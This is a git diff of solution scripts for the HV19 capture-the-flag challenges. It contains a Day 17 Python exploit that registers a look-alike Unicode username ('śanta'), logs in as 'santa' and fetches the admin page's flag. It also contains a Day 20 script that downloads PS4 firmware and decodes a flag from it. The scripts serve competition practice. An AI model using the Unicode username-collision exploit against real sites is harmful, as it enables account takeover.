diff --git a/Day 17/exploit.py b/Day 17/exploit.py
index a859fea..1744185 100644
--- a/Day 17/exploit.py	
+++ b/Day 17/exploit.py	
@@ -13,21 +13,21 @@ FLAG_PATTERN = re.compile("HV19\{[^}]*\}")
 # 1. register user santa
 res = SESSION.post(BASE_URL + "/register.php", data={"username": "śanta", "pwd": PASSWORD, "pwd2": PASSWORD})
 if res.status_code != 200 or "Registration successful!" not in res.text:
-    print("Server returned: %d %s" % (res.status_code, res.status_text))
+    print("Server returned: %d %s" % (res.status_code, res.reason))
     print(res.text)
     exit(1)
 
 # 2. login
 res = SESSION.post(BASE_URL + "/login.php", data={"username": "santa", "pwd": PASSWORD})
 if res.status_code != 200 or "username not found or wrong password!" in res.text:
-    print("Server returned: %d %s" % (res.status_code, res.status_text))
+    print("Server returned: %d %s" % (res.status_code, res.reason))
     print(res.text)
     exit(1)
 
 # 3. get flag
 res = SESSION.get(BASE_URL + "/admin.php")
 if res.status_code != 200 or "username not found or wrong password!" in res.text:
-    print("Server returned: %d %s" % (res.status_code, res.status_text))
+    print("Server returned: %d %s" % (res.status_code, res.reason))
     exit(1)
 
 print(FLAG_PATTERN.search(res.text))
diff --git a/Day 20/.gitignore b/Day 20/.gitignore
new file mode 100644
index 0000000..ec2b23f
--- /dev/null
+++ b/Day 20/.gitignore	
@@ -0,0 +1 @@
+PS4UPDATE\.PUP
diff --git a/Day 20/decode.py b/Day 20/decode.py
index 980c818..39f58a2 100644
--- a/Day 20/decode.py	
+++ b/Day 20/decode.py	
@@ -1,9 +1,36 @@
+#!/usr/bin/python
 
-byte_300 = [0xCE, 0x55, 0x95, 0x4E, 0x38, 0x0C5, 0x89, 0x0A5, 0x1B, 0x6F, 0x5E, 0x25, 0x0D2, 0x1D, 0x2A, 0x2B, 0x5E, 0x7B, 0x39, 0x14, 0x8E, 0x0D0, 0x0F0, 0x0F8, 0x0F8, 0x0A5]
+import requests
+import hashlib
+import os
 
+byte_300 = [0xCE, 0x55, 0x95, 0x4E, 0x38, 0x0C5, 0x89, 0x0A5, 0x1B, 0x6F, 0x5E, 0x25, 0x0D2, \
+            0x1D, 0x2A, 0x2B, 0x5E, 0x7B, 0x39, 0x14, 0x8E, 0x0D0, 0x0F0, 0x0F8, 0x0F8, 0x0A5]
+
+EXPECTED_HASH = "f86d4f9d2c049547bd61f942151ffb55"
+INPUT_FILE = "PS4UPDATE.PUP"
 BUFFER_LENGTH = len(byte_300)
 
-with open("PS4UPDATE.PUP", "rb") as f:
+def downloadFile():
+    print("Downloading file…")
+    res = requests.get("https://psarchive.darksoftware.xyz/505Retail.PUP")
+    if res.status_code != 200:
+        print("Server returned: %d %s" % (res.status_code, res.reason))
+        exit(1)
+
+    buffer = res.content
+    hash = hashlib.md5(buffer).hexdigest()
+    if hash != EXPECTED_HASH:
+        print("Hash does not match:", hash)
+        exit(1)
+
+    with open(INPUT_FILE, "wb") as f:
+        f.write(buffer)
+
+if not os.path.isfile(INPUT_FILE):
+    downloadFile()
+
+with open(INPUT_FILE, "rb") as f:
 
     v29 = byte_300.copy()
     v14 = 4919;